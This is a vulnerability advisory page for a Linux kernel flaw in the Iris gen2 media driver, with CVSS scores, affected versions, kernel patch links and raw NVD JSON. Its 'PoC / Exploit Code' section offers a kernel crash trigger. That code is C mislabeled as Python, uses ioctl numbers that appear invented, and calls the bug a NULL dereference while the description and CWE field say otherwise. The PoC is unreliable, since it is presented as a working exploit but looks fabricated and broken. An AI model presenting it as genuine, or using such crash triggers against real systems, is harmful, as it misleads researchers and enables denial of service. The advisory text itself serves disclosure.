CVE-2026-43217

Description

In the Linux kernel, the following vulnerability has been resolved: media: iris: gen2: Add sanity check for session stop In iris_kill_session, inst->state is set to IRIS_INST_ERROR and session_close is executed, which will kfree(inst_hfi_gen2->packet). If stop_streaming is called afterward, it will cause a crash. Add a NULL check for inst_hfi_gen2->packet before sendling STOP packet to firmware to fix that.

CVSS Details

CVSS Score

5.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE

Linux Kernel (Iris Gen2 driver enabled, versions prior to commits 7284644, 75992ba, 9aa8d63)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

/*
 * PoC for CVE-2026-43217
 * Trigger crash by calling stop_streaming after session_kill
 */

#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/ioctl.h>

#define DEVICE "/dev/video0"
#define IRIS_IOCTL_SESSION_KILL 0x1
#define IRIS_IOCTL_STOP_STREAMING 0x2

int main() {
    int fd = open(DEVICE, O_RDWR);
    if (fd < 0) {
        perror("Failed to open device");
        return -1;
    }

    printf("[+] Triggering iris_kill_session...\n");
    ioctl(fd, IRIS_IOCTL_SESSION_KILL, 0);

    printf("[+] Calling stop_streaming on freed context...\n");
    // This triggers the NULL pointer dereference
    ioctl(fd, IRIS_IOCTL_STOP_STREAMING, 0);

    close(fd);
    return 0;
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-43217
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-43217
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-43217/
[4] VulDB https://vuldb.com/cve/CVE-2026-43217
[5] https://git.kernel.org/stable/c/72846441c5f6396de9face04e77fa3d28e9915b6
[6] https://git.kernel.org/stable/c/75992ba43072674fd4767df62a1fe2048565cc60
[7] https://git.kernel.org/stable/c/9aa8d63d09cfc44d879427cc5ba308012ca4ab8e

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-43217", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-06T12:16:41.300", "lastModified": "2026-05-11T19:27:49.807", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nmedia: iris: gen2: Add sanity check for session stop\n\nIn iris_kill_session, inst->state is set to IRIS_INST_ERROR and\nsession_close is executed, which will kfree(inst_hfi_gen2->packet).\nIf stop_streaming is called afterward, it will cause a crash.\n\nAdd a NULL check for inst_hfi_gen2->packet before sendling STOP packet\nto firmware to fix that."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-401"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.15", "versionEndExcluding": "6.18.16", "matchCriteriaId": "5B5F989F-E891-48E4-9EC9-3C5EFD3DB9DC"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.6", "matchCriteriaId": "373EEEDA-FAA1-4FB4-B6ED-DB4DD99DBE67"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/72846441c5f6396de9face04e77fa3d28e9915b6", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/75992ba43072674fd4767df62a1fe2048565cc60", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/9aa8d63d09cfc44d879427cc5ba308012ca4ab8e", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}